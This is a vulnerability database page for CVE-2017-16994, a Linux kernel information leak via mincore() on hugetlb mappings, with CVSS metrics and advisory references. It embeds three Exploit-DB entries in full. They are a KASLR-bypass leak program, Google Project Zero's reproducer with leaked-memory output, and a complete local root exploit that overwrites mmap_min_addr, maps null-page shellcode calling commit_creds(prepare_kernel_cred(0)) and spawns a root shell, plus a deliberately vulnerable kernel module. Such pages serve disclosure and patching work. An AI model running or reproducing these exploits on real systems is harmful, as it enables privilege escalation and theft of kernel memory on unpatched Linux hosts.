CVE-2017-16994 : Detail

CVE-2017-16994

5.5
/
Medium
A01-Broken Access Control
0.04%V3
Local
2017-11-27
18h00 +00:00
2018-04-24
07h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The walk_hugetlb_range function in mm/pagewalk.c in the Linux kernel before 4.14.2 mishandles holes in hugetlb ranges, which allows local users to obtain sensitive information from uninitialized kernel memory via crafted use of the mincore() system call.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 44304

Publication date : 2017-12-10 23h00 +00:00
Author : anonymous
EDB Verified : No

/* * The source is modified from * https://bugs.chromium.org/p/project-zero/issues/detail?id=1431 * I try to find out infomation useful from the infoleak * The kernel address can be easily found out from the uninitialized memory * leaked from kernel, which can help bypass kaslr */ #define _GNU_SOURCE #include <unistd.h> #include <sys/mman.h> #include <err.h> #include <stdio.h> int main(void) { unsigned char buf[getpagesize()/sizeof(unsigned char)]; int right = 1; unsigned long addr = 0; /* A MAP_ANONYMOUS | MAP_HUGETLB mapping */ if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) err(1, "mmap"); while(right){ /* Touch a mishandle with this type mapping */ if (mincore((void*)0x86000000, 0x1000000, buf)) perror("mincore"); for( int n=0; n<getpagesize()/sizeof(unsigned char); n++) { addr = *(unsigned long*)(&buf[n]); /* Kernel address space, may need some mask&offset */ if(addr > 0xffffffff00000000){ right = 0; goto out; } } } out: printf("%p\n", addr); return 0; }
Exploit Database EDB-ID : 43178

Publication date : 2017-11-23 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1431 I found the following bug with an AFL-based fuzzer: When __walk_page_range() is used on a VM_HUGETLB VMA, callbacks from the mm_walk structure are only invoked for present pages. However, do_mincore() assumes that it will always get callbacks for all pages in the range passed to walk_page_range(), and when this assumption is violated, sys_mincore() copies uninitialized memory from the page allocator to userspace. This bug can be reproduced with the following testcase: $ cat mincore_test.c */ #define _GNU_SOURCE #include <unistd.h> #include <sys/mman.h> #include <err.h> #include <stdio.h> unsigned char mcbuf[0x1000]; int main(void) { if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) err(1, "mmap"); for (int i=0; i<10000; i++) { if (mincore((void*)0x86000000, 0x1000000, mcbuf)) perror("mincore"); write(1, mcbuf, 0x1000); } } /* $ gcc -o mincore_test mincore_test.c -Wall $ ./mincore_test | hexdump -C | head 00000000 00 00 00 00 00 00 00 00 00 00 00 00 fe 01 00 00 |................| 00000010 80 49 3d 20 c6 e9 ff ff c0 49 3d 20 c6 e9 ff ff |.I= .....I= ....| 00000020 00 08 3c 20 c6 e9 ff ff 40 08 3c 20 c6 e9 ff ff |..< ....@.< ....| 00000030 80 08 3c 20 c6 e9 ff ff c0 08 3c 20 c6 e9 ff ff |..< ......< ....| 00000040 00 09 3c 20 c6 e9 ff ff 40 09 3c 20 c6 e9 ff ff |..< ....@.< ....| 00000050 80 09 3c 20 c6 e9 ff ff c0 09 3c 20 c6 e9 ff ff |..< ......< ....| 00000060 00 06 3c 20 c6 e9 ff ff 40 06 3c 20 c6 e9 ff ff |..< ....@.< ....| 00000070 80 06 3c 20 c6 e9 ff ff c0 06 3c 20 c6 e9 ff ff |..< ......< ....| 00000080 00 07 3c 20 c6 e9 ff ff 40 07 3c 20 c6 e9 ff ff |..< ....@.< ....| 00000090 80 07 3c 20 c6 e9 ff ff 80 78 84 0b c6 e9 ff ff |..< .....x......| fixed at https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=373c4557d2aa362702c4c2d41288fb1e54990b7c The fix has landed in the following upstream stable releases: https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.14.2 https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.13.16 https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.9.65 https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.4.101 */
Exploit Database EDB-ID : 44303

Publication date : 2017-12-10 23h00 +00:00
Author : anonymous
EDB Verified : No

/** disable_map_min_add.c **/ /* * */ #include <stdio.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <stdlib.h> #include <sys/resource.h> #include <syscall.h> /* offsets might differ, kernel was custom compiled * you can read vmlinux and caculate the offset when testing */ /* #define OFFSET_KERNEL_BASE 0x000000 */ #define MMAP_MIN_ADDR 0x1101de8 #define DAC_MMAP_MIN_ADDR 0xe8e810 /* get kernel functions address by reading /proc/kallsyms */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { printf("[-] Failed to open /proc/kallsyms\n"); exit(-1); } printf("[+] Find %s...\n", name); while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); printf("[+] Found %s at %lx\n", name, addr); return addr; } } fclose(f); return 0; } int main(void) { int pid, pid2, pid3; struct rusage rusage = { }; unsigned long *p, *kernel_base; char *mmap_min_addr, *dac_mmap_min_addr; pid = fork(); if (pid > 0) { /* try to bypass kaslr when /proc/kallsyms isn't readable */ syscall(__NR_waitid, P_PID, pid, NULL, WEXITED|WNOHANG|__WNOTHREAD, &rusage); printf("[+] Leak size=%d bytes\n", sizeof(rusage)); for (p = (unsigned long *)&rusage; p < (unsigned long *)((char *)&rusage + sizeof(rusage)); p++) { printf("[+] Leak point: %p\n", p); if (*p > 0xffffffff00000000 && *p < 0xffffffffff000000) { p = (unsigned long *)(*p&0xffffffffff000000 /*+ OFFSET_TO_BASE*/); // spender's wouldn't actually work when KASLR was enabled break; } } if(p < (unsigned long *)0xffffffff00000000 || p > (unsigned long *)0xffffffffff000000) exit(-1); } else if (pid == 0) { sleep(1); exit(0); } kernel_base = get_kernel_sym("startup_64"); printf("[+] Got kernel base: %p\n", kernel_base); mmap_min_addr = (char *)kernel_base + MMAP_MIN_ADDR; printf("[+] Got mmap_min_addr: %p\n", mmap_min_addr); dac_mmap_min_addr = (char *)kernel_base + DAC_MMAP_MIN_ADDR; printf("[+] Got dac_mmap_min_addr: %p\n", dac_mmap_min_addr); pid2 = fork(); if (pid2 > 0) { printf("[+] Overwriting map_min_addr...\n"); if (syscall(__NR_waitid, P_PID, pid, (siginfo_t *)(mmap_min_addr - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) { printf("[-] Failed!\n"); exit(1); } } else if (pid2 == 0) { sleep(1); exit(0); } pid3 = fork(); if (pid3 > 0) { printf("[+] Overwriting dac_mmap_min_addr...\n"); if (syscall(__NR_waitid, P_PID, pid, (siginfo_t *)(dac_mmap_min_addr - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) { printf("[-] Failed!\n"); exit(1); } printf("[+] map_min_addr disabled!\n"); exit(0); } else if (pid3 == 0) { sleep(1); exit(0); } return 0; } /** disable_map_min_add.c EOF **/ /** null_poiter_exploit.c **/ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mman.h> #include <string.h> #include <unistd.h> #include <unistd.h> #include <fcntl.h> struct cred; struct task_struct; typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3))); typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3))); prepare_kernel_cred_t prepare_kernel_cred; commit_creds_t commit_creds; /* a kernel null pointer derefence will help get privilege * /proc/test is a kernel-load module create for testing * touch_null_kp can be replace your own implement to * touch a kernel null ponit */ void touch_null_kp() { printf("[+]Start touch kernel null point\n"); int *f = open("/proc/test", O_RDONLY); read(f, NULL, 0); } /* run shell after root */ void get_shell() { char *argv[] = {"/bin/sh", NULL}; if (getuid() == 0){ printf("[+] Root shell success !! :)\n"); execve("/bin/sh", argv, NULL); } printf("[-] failed to get root shell :(\n"); } /* use for privilige escalation */ void get_root() { commit_creds(prepare_kernel_cred(0)); } /* get function address by reading /proc/kallsyms */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { printf("[-] Failed to open /proc/kallsyms\n"); exit(-1); } printf("[+] Find %s...\n", name); while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); printf("[+] Found %s at %lx\n", name, addr); return addr; } } fclose(f); return 0; } int main(int ac, char **av) { /* get function address */ prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred"); commit_creds = (commit_creds_t)get_kernel_sym("commit_creds"); printf("Got commit_creds:%p,prepare_kernel_cred%p\n", commit_creds, prepare_kernel_cred); /* allocate memory loacate in 0x00 */ printf("[+] Try to allocat 0x00000000...\n"); if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){ printf("[-] Failed to allocat 0x00000000\n"); return -1; } printf("[+] Allocation success !\n"); /* memset(0, 0xcc, 4096); */ /* //movq rax, 0xffffffff81f3f45a //movq [rax], 0 // it is not nessecc mov rax, 0x4242424242424242 call rax xor rax, rax ret replace 0x4242424242424242 by get_root https://defuse.ca/online-x86-assembler.htm#disassembly */ unsigned char shellcode[] = { /*0x48, 0xC7, 0xC0, 0x5A, 0xF4, 0xF3, 0x81, *//*0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00,*/ 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 }; /* insert the getroot address to shellcode */ void **get_root_offset = rawmemchr(shellcode, 0x42); (*get_root_offset) = get_root; /* map shellcode to 0x00 */ memcpy(0, shellcode, sizeof(shellcode)); /* jmp to 0x00 */ touch_null_kp(); get_shell(); } /** null_poiter_exploit.c EOF **/ /** test.c **/ #include <linux/init.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/uaccess.h> #include <linux/slab.h> #include <asm/ptrace.h> #include <asm/thread_info.h> #define MY_DEV_NAME "test" #define DEBUG_FLAG "PROC_DEV" extern unsigned long proc_test_sp_print; static ssize_t proc_read (struct file *proc_file, char __user *proc_user, size_t n, loff_t *loff); static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff); static int proc_open (struct inode *proc_inode, struct file *proc_file); static struct file_operations a = { .open = proc_open, .read = proc_read, .write = proc_write, }; static int __init mod_init(void) { struct proc_dir_entry *test_entry; const struct file_operations *proc_fops = &a; printk(DEBUG_FLAG":proc init start\n"); test_entry = proc_create(MY_DEV_NAME, S_IRUGO|S_IWUGO, NULL, proc_fops); if(!test_entry) printk(DEBUG_FLAG":there is somethings wrong!\n"); printk(DEBUG_FLAG":proc init over!\n"); return 0; } static ssize_t proc_read (struct file *proc_file, char *proc_user, size_t n, loff_t *loff) { void (*fun)(void); fun = NULL; //printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack); fun(); //printk("The memory of %p : %d\n", proc_user, *proc_user); return 0; } static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff) { printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack); return 0; } int proc_open (struct inode *proc_inode, struct file *proc_file) { printk(DEBUG_FLAG":into open, cmdline:%s!\n", current->comm); printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack); return 0; } module_init(mod_init); /** test.c EOF **/

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 4.14.2

References

https://usn.ubuntu.com/3617-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3619-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3617-3/
Tags : vendor-advisory, x_refsource_UBUNTU
https://www.exploit-db.com/exploits/43178/
Tags : exploit, x_refsource_EXPLOIT-DB
https://usn.ubuntu.com/3632-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://access.redhat.com/errata/RHSA-2018:0502
Tags : vendor-advisory, x_refsource_REDHAT
https://usn.ubuntu.com/3617-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3619-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.securityfocus.com/bid/101969
Tags : vdb-entry, x_refsource_BID